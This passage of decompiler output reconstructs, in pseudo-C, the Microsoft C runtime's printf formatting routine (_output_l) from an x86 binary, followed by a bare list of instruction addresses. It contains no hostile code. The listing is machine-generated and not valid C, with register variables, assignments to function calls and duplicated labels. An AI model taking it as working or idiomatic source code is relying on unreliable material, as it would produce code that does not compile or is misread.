																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041AE00(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0xf9b80f80
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xfe6faf80
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xfe6d6f80
																					E00424670(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E00428310(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428350(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00428310(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428310(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428310(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E00428310(__ebp + 0x14);
																	__eax = E00433EC0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E330();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																		__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ADD0(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BC70(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428310(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041ADD0(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E00430740( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E004307C0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427cf8
0x00427cf8
0x00427cf8
0x00427cf8
0x00427d02
0x00427d02
0x00427d02
0x00427d0c
0x00427d0c
0x00427d12
0x00427d14
0x00427d1e
0x00427d1e
0x00427d21
0x00427d24
0x00427d24
0x00427d4b
0x00427d4b
0x00427d4e
0x00427d4e
0x00427d53
0x00427d75
0x00427d75
0x00427d7b
0x00427d9d
0x00427d9d
0x00427da0
0x00427de7
0x00427de7
0x00427dea
0x00427e07
0x00427e0b
0x00427e13
0x00427e13
0x00427e15
0x00427e1b
0x00427dec
0x00427dec
0x00427df0
0x00427df8
0x00427df9
0x00427dff
0x00427dff
0x00427da2
0x00427da5
0x00427da5
0x00427da8
0x00427dc6
0x00427dd2
0x00427dd5
0x00427dd6
0x00427ddc
0x00427daa
0x00427daa
0x00427dae
0x00427db6
0x00427db7
0x00427db8
0x00427dbe
0x00427dbe
0x00427de2
0x00427d7d
0x00427d7d
0x00427d89
0x00427d8f
0x00427d8f
0x00427d55
0x00427d55
0x00427d61
0x00427d67
0x00427d67
0x00427e24
0x00427e24
0x00427e27
0x00000000
0x00000000
0x00427e29
0x00427e29
0x00427e30
0x00000000
0x00000000
0x00427e32
0x00427e32
0x00427e3d
0x00427e43
0x00427e45
0x00427e4b
0x00427e4e
0x00427e50
0x00427e56
0x00427e5f
0x00427e64
0x00427e81
0x00427e84
0x00427e84
0x00427e89
0x00427e8e
0x00427e8e
0x00427e94
0x00427e96
0x00427e9c
0x00427ea2
0x00427ea2
0x00427eab
0x00427eab
0x00427e94
0x00427eb1
0x00427eb5
0x00427ec3
0x00427ec6
0x00427ec9
0x00427ed0
0x00427ed2
0x00427ed2
0x00427eb7
0x00427eb7
0x00427eb7
0x00427edf
0x00427edf
0x00427ee5
0x00427ee7
0x00427ee7
0x00427eee
0x00427ef1
0x00427ef4
0x00427ef4
0x00427ef4
0x00427efa
0x00427efd
0x00427f00
0x00427f02
0x00000000
0x00000000
0x00427f04
0x00427f0a
0x00427f0a
0x00427f10
0x00427f8d
0x00427f90
0x00427f93
0x00427f96
0x00427f99
0x00427f9c
0x00427fa2
0x00427fa2
0x00427fa8
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00427fdd
0x00427fe0
0x00427fe0
0x00427fe3
0x00427fe8
0x00427fe8
0x00427fed
0x00427fff
0x00427fff
0x00428002
0x00428014
0x00428014
0x00428017
0x00428019
0x0042801d
0x0042801d
0x00428004
0x00428004
0x00428008
0x00428008
0x00427fef
0x00427fef
0x00427ff3
0x00427ff3
0x00427fed
0x00428027
0x0042802a
0x0042802d
0x00428036
0x00428036
0x00428039
0x0042803b
0x00428042
0x00428046
0x0042804f
0x00428054
0x00428057
0x0042805e
0x00428062
0x00428066
0x00428072
0x00428075
0x00428075
0x00428078
0x0042807d
0x0042807d
0x00428080
0x00428082
0x00428089
0x0042808d
0x00428096
0x0042809b
0x00428080
0x0042809e
0x004280a2
0x00428176
0x00428176
0x0042817d
0x00428181
0x00428185
0x00428189
0x00000000
0x004280a8
0x004280a8
0x004280a8
0x004280ac
0x00000000
0x00000000
0x004280b2
0x004280b2
0x004280bc
0x004280bf
0x004280c5
0x004280c8
0x004280ce
0x004280ce
